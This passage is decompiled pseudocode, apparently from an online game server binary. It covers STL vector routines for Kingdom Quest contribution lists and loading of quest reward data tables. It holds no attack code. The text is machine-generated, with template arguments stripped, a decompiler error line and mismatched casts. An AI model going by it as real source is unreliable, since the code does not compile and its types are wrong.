v2->_Myfirst = (KQContribute::PlayerContribute *)v6; v2->_Mylast = (KQContribute::PlayerContribute *)v6; v2->_Myend = (KQContribute::PlayerContribute *)((char *)v6 + v5); v7 = (std::vector >::iterator)_Right->_Mylast; v8 = (std::vector >::iterator)_Right->_Myfirst; v12 = 0; v2->_Mylast = (KQContribute::PlayerContribute *)std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( v8, v7, (SHINE_XY_TYPE *)v6, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Right); } } //----- (00486766) -------------------------------------------------------- void __usercall _L180058(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator>::operator_(void *this, int __formal) { void *v2; // esi@1 ItemRandomOption::OptionCountTable *v3; // ebx@2 int v4; // edx@2 int v5; // ecx@3 void *result; // eax@6 int v7; // eax@7 int v8; // edx@8 int v9; // eax@11 int v10; // edx@15 int v11; // edx@19 int v12; // ebx@21 int v13; // ecx@24 int v14; // eax@25 v2 = this; if ( this == (void *)__formal ) return v2; v3 = *(ItemRandomOption::OptionCountTable **)(__formal + 4); v4 = 0; if ( !v3 || (v5 = (*(_DWORD *)(__formal + 8) - (signed int)v3) >> 3) == 0 ) { if ( *((_DWORD *)v2 + 1) ) { operator delete(*((void **)v2 + 1)); v4 = 0; } *((_DWORD *)v2 + 1) = v4; *((_DWORD *)v2 + 2) = v4; *((_DWORD *)v2 + 3) = v4; return v2; } v7 = *((_DWORD *)v2 + 1); if ( v7 ) v8 = (*((_DWORD *)v2 + 2) - v7) >> 3; else v8 = 0; if ( v5 <= (unsigned int)v8 ) { std::copy( v3, *(ItemRandomOption::OptionCountTable **)(__formal + 8), *((ItemRandomOption::OptionCountTable **)v2 + 1)); v9 = *(_DWORD *)(__formal + 4); if ( v9 ) { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1) + 8 * ((*(_DWORD *)(__formal + 8) - v9) >> 3); result = v2; } else { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1); result = v2; } return result; } if ( v7 ) v10 = (*((_DWORD *)v2 + 3) - v7) >> 3; else v10 = 0; if ( v5 > (unsigned int)v10 ) { if ( v7 ) operator delete(*((void **)v2 + 1)); v13 = *(_DWORD *)(__formal + 4); if ( v13 ) v14 = (*(_DWORD *)(__formal + 8) - v13) >> 3; else v14 = 0; if ( std::vector>::_Buy( (std::vector > *)v2, v14) ) *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( (std::allocator *)v2, *(std::vector >::iterator *)(__formal + 4), *(std::vector >::iterator *)(__formal + 8), *((SHINE_XY_TYPE **)v2 + 1)); return v2; } if ( v7 ) v11 = (*((_DWORD *)v2 + 2) - v7) >> 3; else v11 = 0; v12 = *(_DWORD *)(__formal + 4) + 8 * v11; std::copy( *(ItemRandomOption::OptionCountTable **)(__formal + 4), (ItemRandomOption::OptionCountTable *)v12, *((ItemRandomOption::OptionCountTable **)v2 + 1)); *((_DWORD *)v2 + 2) = std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)v12, *(std::vector >::iterator *)(__formal + 8), *((SHINE_XY_TYPE **)v2 + 2), (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)__formal); return v2; } //----- (004868D0) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, KQContribute::PlayerContribute _Val) { KQContribute::PlayerContribute *v3; // edx@1 signed int v4; // eax@2 signed int v5; // eax@6 v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 && _Newsize < this->_Mylast - v3 ) std::vector>::erase( (std::vector > *)this, (std::vector >::iterator *)&_Newsize, (std::vector >::iterator)&v3[_Newsize], (std::vector >::iterator)this->_Mylast); } else { if ( v3 ) v5 = this->_Mylast - v3; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } } //----- (00486940) -------------------------------------------------------- std::vector >::iterator *__cdecl std::remove_copy>::iterator_std::vector>::iterator_KQContribute::PlayerList>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, KQContribute::PlayerList *_Val) { std::vector >::iterator v5; // esi@1 std::vector >::iterator v6; // edi@2 void *v7; // ecx@4 std::vector >::iterator *v8; // eax@6 v5 = _First; if ( _First == _Last ) { v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Dest; } else { v6 = _Dest; do { if ( **(_DWORD **)&v5 != _Val->pl_KQHandle ) { **(_DWORD **)&v6 = **(_DWORD **)&v5; v7 = (void *)(*(_DWORD *)&v6 + 4); *(_DWORD *)&v6 += 20; std::vector>::operator_( v7, *(_DWORD *)&v5 + 4); } *(_DWORD *)&v5 += 20; } while ( v5 != _Last ); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; } return v8; } //----- (004869A0) -------------------------------------------------------- KQContribute::PlayerList *__cdecl std::_Copy_opt(KQContribute::PlayerList *_First, KQContribute::PlayerList *_Last, KQContribute::PlayerList *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { KQContribute::PlayerList *v4; // esi@1 KQContribute::PlayerList *v5; // edi@2 KQContribute::PlayerList *result; // eax@4 v4 = _First; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { v5->pl_KQHandle = v4->pl_KQHandle; std::vector>::operator_( &v5->pl_PlayerList, (int)&v4->pl_PlayerList); ++v4; ++v5; } while ( v4 != _Last ); result = v5; } return result; } //----- (004869E0) -------------------------------------------------------- KQContribute::PlayerList *__cdecl std::_Copy_backward_opt(KQContribute::PlayerList *_First, KQContribute::PlayerList *_Last, KQContribute::PlayerList *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { KQContribute::PlayerList *v4; // esi@1 KQContribute::PlayerList *v5; // edi@2 unsigned int v6; // eax@3 KQContribute::PlayerList *result; // eax@4 v4 = _Last; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { v6 = v4[-1].pl_KQHandle; --v4; --v5; v5->pl_KQHandle = v6; std::vector>::operator_( &v5->pl_PlayerList, (int)&v4->pl_PlayerList); } while ( v4 != _First ); result = v5; } return result; } //----- (00486A20) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, KQContribute::PlayerContribute *_Val) { std::vector > *v2; // esi@1 KQContribute::PlayerContribute *v3; // edx@1 signed int v4; // ecx@2 KQContribute::PlayerContribute *v5; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v3 && v4 < v2->_Myend - v3 ) { v5 = v2->_Mylast; std::_Uninit_fill_n>( (SHINE_XY_TYPE *)v2->_Mylast, 1u, (SHINE_XY_TYPE *)_Val, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v5 + 1; } else { std::vector>::_Insert_n( v2, (std::vector >::iterator)v2->_Mylast, 1u, _Val); } } //----- (00486A90) -------------------------------------------------------- std::vector >::iterator *__cdecl std::remove>::iterator_KQContribute::PlayerList>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, KQContribute::PlayerList *_Val) { std::vector >::iterator v4; // ecx@1 std::vector >::iterator *v5; // eax@4 v4 = _First; if ( _First == _Last ) goto LABEL_10; while ( **(_DWORD **)&v4 != _Val->pl_KQHandle ) { *(_DWORD *)&v4 += 20; if ( v4 == _Last ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v4; return v5; } } if ( v4 != _Last ) { std::remove_copy>::iterator_std::vector>::iterator_KQContribute::PlayerList>( result, (std::vector >::iterator)(*(_DWORD *)&v4 + 20), _Last, v4, _Val); v5 = result; } else { LABEL_10: v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v4; } return v5; } //----- (00486AE0) -------------------------------------------------------- void __cdecl std::fill(KQContribute::PlayerList *_First, KQContribute::PlayerList *_Last, KQContribute::PlayerList *_Val) { KQContribute::PlayerList *i; // esi@1 for ( i = _First; i != _Last; ++i ) { i->pl_KQHandle = _Val->pl_KQHandle; std::vector>::operator_( &i->pl_PlayerList, (int)&_Val->pl_PlayerList); } } //----- (00486B10) -------------------------------------------------------- KQContribute::PlayerList *__cdecl std::_Uninit_copy>::iterator_KQContribute::PlayerList___std::allocator>(KQContribute::PlayerList *_First, KQContribute::PlayerList *_Last, KQContribute::PlayerList *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { KQContribute::PlayerList *v5; // esi@1 KQContribute::PlayerList *v6; // edi@1 int v8; // [sp+0h] [bp-20h]@1 KQContribute::PlayerList *_Next; // [sp+Ch] [bp-14h]@1 int *v10; // [sp+10h] [bp-10h]@1 int v11; // [sp+1Ch] [bp-4h]@1 v5 = _Dest; v6 = _First; v10 = &v8; _Next = _Dest; v11 = 0; while ( v6 != _Last ) { LOBYTE(v11) = 1; if ( v5 ) { v5->pl_KQHandle = v6->pl_KQHandle; std::vector>::vector>( &v5->pl_PlayerList, &v6->pl_PlayerList); } ++v5; LOBYTE(v11) = 0; ++v6; } return v5; } //----- (00486BC0) -------------------------------------------------------- #error "486BC0: undefined or illegal type '#593' (funcsize=100)" //----- (00486D20) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(KQContribute::PlayerList *_First, unsigned int _Count, KQContribute::PlayerList *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { KQContribute::PlayerList *v5; // esi@1 unsigned int v6; // edi@1 int v7; // [sp+0h] [bp-20h]@1 KQContribute::PlayerList *_Next; // [sp+Ch] [bp-14h]@1 int *v9; // [sp+10h] [bp-10h]@1 int v10; // [sp+1Ch] [bp-4h]@1 v5 = _First; v6 = _Count; v9 = &v7; _Next = _First; v10 = 0; while ( v6 > 0 ) { LOBYTE(v10) = 1; if ( v5 ) { v5->pl_KQHandle = _Val->pl_KQHandle; std::vector>::vector>( &v5->pl_PlayerList, &_Val->pl_PlayerList); } --v6; ++v5; LOBYTE(v10) = 0; } } //----- (00486DD0) -------------------------------------------------------- KQContribute::PlayerList *__thiscall std::vector>::_Ufill(std::vector > *this, KQContribute::PlayerList *_Ptr, unsigned int _Count, KQContribute::PlayerList *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00486E00) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, KQContribute::PlayerList *_Val) { std::vector > *v4; // esi@1 unsigned int v5; // ecx@1 KQContribute::PlayerList *v6; // ebx@1 unsigned int v7; // ecx@1 signed int v8; // edx@2 unsigned int v9; // edi@3 int v10; // eax@5 int v11; // eax@10 int v12; // ecx@14 int v13; // eax@17 void *v14; // eax@21 void *v15; // ebx@21 KQContribute::PlayerList *v16; // ST18_4@21 int v17; // eax@21 int v18; // edi@23 ItemRandomOption::OptionTable *v19; // eax@23 KQContribute::PlayerList *v20; // ecx@26 std::vector >::iterator v21; // ebx@26 KQContribute::PlayerList *v22; // ecx@27 KQContribute::PlayerList *v23; // ST24_4@27 unsigned int v24; // edi@27 int v25; // [sp+0h] [bp-38h]@1 unsigned int _Tmp; // [sp+Ch] [bp-2Ch]@1 std::vector > thisa; // [sp+10h] [bp-28h]@1 void *_Newvec; // [sp+20h] [bp-18h]@21 std::vector > *v29; // [sp+24h] [bp-14h]@1 int *v30; // [sp+28h] [bp-10h]@1 int v31; // [sp+34h] [bp-4h]@1 KQContribute::PlayerList *_Wherea; // [sp+40h] [bp+8h]@28 KQContribute::PlayerList *_Ptr; // [sp+44h] [bp+Ch]@21 int _Vala; // [sp+48h] [bp+10h]@21 KQContribute::PlayerList *_Valb; // [sp+48h] [bp+10h]@26 v4 = this; v5 = _Val->pl_KQHandle; v30 = &v25; _Tmp = v5; v29 = v4; std::vector>::vector>( &thisa, &_Val->pl_PlayerList); v6 = v4->_Myfirst; v7 = 0; v31 = 0; if ( v6 ) { v8 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)v4->_Myend - (char *)v6)) >> 32) >> 3; v7 = v8 + ((unsigned int)v8 >> 31); } v9 = _Count; if ( _Count ) { if ( v6 ) v10 = v4->_Mylast - v6; else v10 = 0; if ( (unsigned int)(&ddt.ddt_Table[2021][1471].direct - v10) < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v6 ) v11 = v4->_Mylast - v6; else v11 = 0; if ( v7 >= _Count + v11 ) { v20 = v4->_Mylast; v21 = _Where; _Valb = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 20 >= _Count ) { _Wherea = &v20[-_Count]; v4->_Mylast = std::_Uninit_copy>::iterator_KQContribute::PlayerList___std::allocator>( &v20[-_Count], v20, v20, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v20 - 20 * _Count)); std::_Copy_backward_opt( *(KQContribute::PlayerList **)&v21, _Wherea, _Valb, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(KQContribute::PlayerList **)&v21, (KQContribute::PlayerList *)(*(_DWORD *)&v21 + 20 * _Count), (KQContribute::PlayerList *)&_Tmp); } else { std::_Uninit_copy>::iterator_KQContribute::PlayerList___std::allocator>( *(KQContribute::PlayerList **)&_Where, v20, (KQContribute::PlayerList *)(*(_DWORD *)&_Where + 20 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v22 = v4->_Mylast; v23 = v4->_Mylast; LOBYTE(v31) = 3; std::vector>::_Ufill( v4, v23, _Count - (signed int)((char *)v22 - *(_DWORD *)&_Where) / 20, (KQContribute::PlayerList *)&_Tmp); v24 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (KQContribute::PlayerList *)v24; v31 = 0; std::fill( *(KQContribute::PlayerList **)&_Where, (KQContribute::PlayerList *)(v24 - 20 * _Count), (KQContribute::PlayerList *)&_Tmp); } } else { if ( (unsigned int)(&ddt.ddt_Table[2021][1471].direct - (v7 >> 1)) >= v7 ) v12 = (v7 >> 1) + v7; else v12 = 0; if ( v6 ) v13 = v4->_Mylast - v6; else v13 = 0; if ( v12 < _Count + v13 ) v12 = _Count + std::vector>::size((std::vector > *)v4); _Vala = 20 * v12; v14 = operator new(20 * v12); v15 = v14; v16 = v4->_Myfirst; _Newvec = v14; LOBYTE(v31) = 1; _Ptr = std::_Uninit_copy>::iterator_KQContribute::PlayerList___std::allocator>( v16, *(KQContribute::PlayerList **)&_Where, (KQContribute::PlayerList *)v14, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v9, (KQContribute::PlayerList *)&_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::iterator_KQContribute::PlayerList___std::allocator>( *(KQContribute::PlayerList **)&_Where, v4->_Mylast, &_Ptr[v9], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v17 = (int)v4->_Myfirst; if ( v17 ) v17 = (signed int)((char *)v4->_Mylast - v17) / 20; v18 = v17 + v9; v19 = (ItemRandomOption::OptionTable *)v4->_Myfirst; if ( v19 ) { std::vector>::_Destroy( (std::vector > *)v4, v19, (ItemRandomOption::OptionTable *)v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (KQContribute::PlayerList *)((char *)v15 + _Vala); v4->_Mylast = (KQContribute::PlayerList *)((char *)v15 + 20 * v18); v4->_Myfirst = (KQContribute::PlayerList *)v15; } } if ( thisa._Myfirst ) operator delete(thisa._Myfirst); } //----- (00487100) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 KQContribute::PlayerList *v3; // eax@3 unsigned int v4; // ebx@6 KQContribute::PlayerList *v5; // ST04_4@6 KQContribute::PlayerList *v6; // ST00_4@6 ItemRandomOption::OptionTable *v7; // ecx@6 int v8; // edi@7 signed int v9; // edx@8 int v10; // [sp+0h] [bp-1Ch]@1 int *v11; // [sp+Ch] [bp-10h]@1 int v12; // [sp+18h] [bp-4h]@6 void *_Ptr; // [sp+24h] [bp+8h]@6 v11 = &v10; v2 = this; if ( _Count > (unsigned int)&ddt.ddt_Table[2021][1471].direct ) std::vector>::_Xlen((std::vector > *)this); v3 = this->_Myfirst; if ( v3 ) v3 = (KQContribute::PlayerList *)(this->_Myend - v3); if ( (unsigned int)v3 < _Count ) { v4 = 20 * _Count; _Ptr = operator new(20 * _Count); v5 = v2->_Mylast; v6 = v2->_Myfirst; v12 = 0; std::_Uninit_copy>::iterator_KQContribute::PlayerList___std::allocator>( v6, v5, (KQContribute::PlayerList *)_Ptr, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Ptr); v7 = (ItemRandomOption::OptionTable *)v2->_Myfirst; if ( v7 ) { v9 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)v2->_Mylast - (char *)v7)) >> 32) >> 3; v8 = v9 + ((unsigned int)v9 >> 31); } else { v8 = 0; } if ( v7 ) { std::vector>::_Destroy( (std::vector > *)v2, v7, (ItemRandomOption::OptionTable *)v2->_Mylast); operator delete(v2->_Myfirst); } v2->_Myend = (KQContribute::PlayerList *)((char *)_Ptr + v4); v2->_Mylast = (KQContribute::PlayerList *)((char *)_Ptr + 20 * v8); v2->_Myfirst = (KQContribute::PlayerList *)_Ptr; } } //----- (004871E2) -------------------------------------------------------- void __usercall _L182178(int a1) { operator delete(*(void **)(a1 + 8)); _CxxThrowException(0, 0); } //----- (00487200) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last) { std::vector > *v4; // ebp@1 std::vector >::iterator v5; // ecx@1 KQContribute::PlayerList *v6; // eax@2 ItemRandomOption::OptionTable *v7; // ebx@2 KQContribute::PlayerList *v8; // edi@2 ItemRandomOption::OptionTable *i; // esi@2 std::vector >::iterator *v10; // eax@5 v4 = this; v5 = _First; if ( _First != _Last ) { v6 = std::_Copy_opt( *(KQContribute::PlayerList **)&_Last, v4->_Mylast, *(KQContribute::PlayerList **)&_First, (std::_Nonscalar_ptr_iterator_tag)_First.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v7 = (ItemRandomOption::OptionTable *)v4->_Mylast; v8 = v6; for ( i = (ItemRandomOption::OptionTable *)v6; i != v7; ++i ) SHND::CommonData::_CommonData(i); v5 = _First; v4->_Mylast = v8; } v10 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; return v10; } //----- (00487260) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, KQContribute::PlayerList _Val) { KQContribute::PlayerList *v3; // esi@1 int v4; // eax@2 int v5; // eax@6 v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 && _Newsize < this->_Mylast - v3 ) std::vector>::erase( this, (std::vector >::iterator *)&_Newsize, (std::vector >::iterator)&v3[_Newsize], (std::vector >::iterator)this->_Mylast); } else { if ( v3 ) v5 = this->_Mylast - v3; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } if ( _Val.pl_PlayerList._Myfirst ) operator delete(_Val.pl_PlayerList._Myfirst); } //----- (00487340) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, KQContribute::PlayerList *_Val) { std::vector > *v4; // edi@1 KQContribute::PlayerList *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n(this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (004873B0) -------------------------------------------------------- void __thiscall KQContribute::KQContributeList::kqpl_EndOfKQ(KQContribute::KQContributeList *this, unsigned int kqhnd) { KQContribute::KQContributeList *v2; // esi@1 std::vector >::iterator v3; // edi@1 std::vector >::iterator v4; // eax@1 std::vector >::iterator v5; // ST08_4@1 std::vector >::iterator *v6; // eax@1 std::vector >::iterator result; // [sp+Ch] [bp-24h]@1 unsigned int tmp; // [sp+10h] [bp-20h]@1 int v9; // [sp+18h] [bp-18h]@1 int v10; // [sp+1Ch] [bp-14h]@1 int v11; // [sp+20h] [bp-10h]@1 int v12; // [sp+2Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "KQContribute::KQContributeList::kqpl_EndOfKQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KQContribute::KQContributeList::kqpl_EndOfKQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; v9 = 0; v10 = 0; v11 = 0; v3 = (std::vector >::iterator)v2->kqcl_List._Mylast; v4 = (std::vector >::iterator)v2->kqcl_List._Myfirst; v5 = (std::vector >::iterator)v2->kqcl_List._Mylast; tmp = kqhnd; LOBYTE(v12) = 1; v6 = std::remove>::iterator_KQContribute::PlayerList>( (std::vector >::iterator *)&kqhnd, v4, v5, (KQContribute::PlayerList *)&tmp); std::vector>::erase( &v2->kqcl_List, &result, *v6, v3); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "KQContribute::KQContributeList::kqpl_EndOfKQ"); } //----- (00487490) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, KQContribute::PlayerList *_Val) { std::vector > *v2; // esi@1 KQContribute::PlayerList *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 KQContribute::PlayerList *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (00487520) -------------------------------------------------------- void __thiscall KQContribute::KQContributeList::KQContributeList(KQContribute::KQContributeList *this) { std::vector > *v1; // esi@1 KQContribute::PlayerList v2; // [sp-14h] [bp-30h]@1 int v3; // [sp-Ch] [bp-28h]@1 int v4; // [sp-8h] [bp-24h]@1 int v5; // [sp-4h] [bp-20h]@1 KQContribute::KQContributeList *v6; // [sp+8h] [bp-14h]@1 KQContribute::PlayerList *v7; // [sp+Ch] [bp-10h]@1 int v8; // [sp+18h] [bp-4h]@1 v1 = (std::vector > *)this; v6 = this; this->kqcl_List._Myfirst = 0; this->kqcl_List._Mylast = 0; this->kqcl_List._Myend = 0; v8 = 0; std::vector>::reserve(&this->kqcl_List, 0x1Eu); v7 = &v2; v3 = 0; v4 = 0; v5 = 0; std::vector>::resize(v1, 0, v2); } //----- (00487590) -------------------------------------------------------- void __thiscall KQContribute::KQContributeList::kqcl_NewKQ(KQContribute::KQContributeList *this, unsigned int kqhnd) { KQContribute::KQContributeList *v2; // edi@1 KQContribute::PlayerList *v3; // esi@1 unsigned int tmp; // [sp+14h] [bp-20h]@3 std::vector > thisa; // [sp+18h] [bp-1Ch]@3 int v6; // [sp+30h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "KQContribute::KQContributeList::kqcl_NewKQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KQContribute::KQContributeList::kqcl_NewKQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = 0; v3 = KQContribute::KQContributeList::kqcl_FindKQ(v2, kqhnd); if ( v3 ) { std::vector>::resize( &v3->pl_PlayerList, 0, 0i64); v3->pl_KQHandle = kqhnd; } else { thisa._Myfirst = 0; thisa._Mylast = 0; thisa._Myend = 0; LOBYTE(v6) = 1; std::vector>::resize(&thisa, 0, 0i64); tmp = kqhnd; std::vector>::push_back( &v2->kqcl_List, (KQContribute::PlayerList *)&tmp); if ( thisa._Myfirst ) operator delete(thisa._Myfirst); } --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "KQContribute::KQContributeList::kqcl_NewKQ"); } //----- (00487680) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x2F84u, 0x60u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00487730) -------------------------------------------------------- void __thiscall KQRewardDataBox::KQRewardDataBox(KQRewardDataBox *this) { KQRewardDataBox *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->kqrdb_DataBox.baseclass_0); memset(&v1->kqrdb_DataBox.bdb_defaultblock, 0, sizeof(v1->kqrdb_DataBox.bdb_defaultblock)); } //----- (00487750) -------------------------------------------------------- void __thiscall KQRewardDataBox::kqrdb_Load(KQRewardDataBox *this, Name4 *world) { BinaryDataBox::bdb_ReadData(&this->kqrdb_DataBox, "../9Data/Hero/KingdomQuestRew.shn"); } //----- (00487760) -------------------------------------------------------- KINGDOM_QUEST_REW *__thiscall KQRewardDataBox::operator__(KQRewardDataBox *this, unsigned __int16 idx) { KQRewardDataBox *v2; // edi@1 unsigned int v3; // eax@1 unsigned int v4; // esi@1 bool v5; // cf@2 KINGDOM_QUEST_REW *result; // eax@4 signed int v7; // eax@8 v2 = this; v3 = this->kqrdb_DataBox.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4 = 0; if ( (signed int)v3 > 0 ) { v5 = v3 > 0; do { if ( v5 ) result = (KINGDOM_QUEST_REW *)CDataReader::GetRecord(&v2->kqrdb_DataBox.baseclass_0.baseclass_0, v4); else result = &v2->kqrdb_DataBox.bdb_defaultblock; if ( !result ) break; if ( idx == result->ID ) return result; v7 = v2->kqrdb_DataBox.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; ++v4; v5 = v4 < v7; } while ( (signed int)v4 < v7 ); } return 0; } //----- (004877B0) -------------------------------------------------------- KINGDOM_QUEST_REW *__thiscall KQRewardDataBox::operator__(KQRewardDataBox *this, char *idx) { KQRewardDataBox *v2; // edi@1 unsigned int v3; // eax@1 unsigned int v4; // esi@1 bool v5; // cf@2 KINGDOM_QUEST_REW *result; // eax@4 unsigned int v7; // ecx@7 signed int v8; // eax@11 v2 = this; v3 = this->kqrdb_DataBox.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4 = 0; if ( (signed int)v3 > 0 ) { v5 = v3 > 0; do { if ( v5 ) result = (KINGDOM_QUEST_REW *)CDataReader::GetRecord(&v2->kqrdb_DataBox.baseclass_0.baseclass_0, v4); else result = &v2->kqrdb_DataBox.bdb_defaultblock; if ( !result ) break; v7 = 0; do { if ( result->IndexString[v7] != idx[v7] ) break; if ( !result->IndexString[v7] ) return result; ++v7; } while ( v7 < 0x20 ); v8 = v2->kqrdb_DataBox.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; ++v4; v5 = v4 < v8; } while ( (signed int)v4 < v8 ); } return 0; } //----- (00487820) -------------------------------------------------------- void __thiscall SubLayer::SubLayerInteractLoader::slil_Load(SubLayer::SubLayerInteractLoader *this, Name4 *world) { int v2; // edx@1 int v3; // ecx@1 int v4; // edx@1 int v5; // eax@2 int v6; // ebp@5 signed int v7; // esi@5 void *v8; // eax@7 void *v9; // edi@7 void *v10; // ebp@7 int v11; // edx@11 ORToken v12; // [sp-18h] [bp-10938h]@7 int v13; // [sp-14h] [bp-10934h]@7 int v14; // [sp-10h] [bp-10930h]@7 int v15; // [sp-Ch] [bp-1092Ch]@7 int v16; // [sp-8h] [bp-10928h]@7 int v17; // [sp-4h] [bp-10924h]@7 int v18; // [sp+10h] [bp-10910h]@1 int me; // [sp+14h] [bp-1090Ch]@5 ORToken *v20; // [sp+18h] [bp-10908h]@7 OptionReader or; // 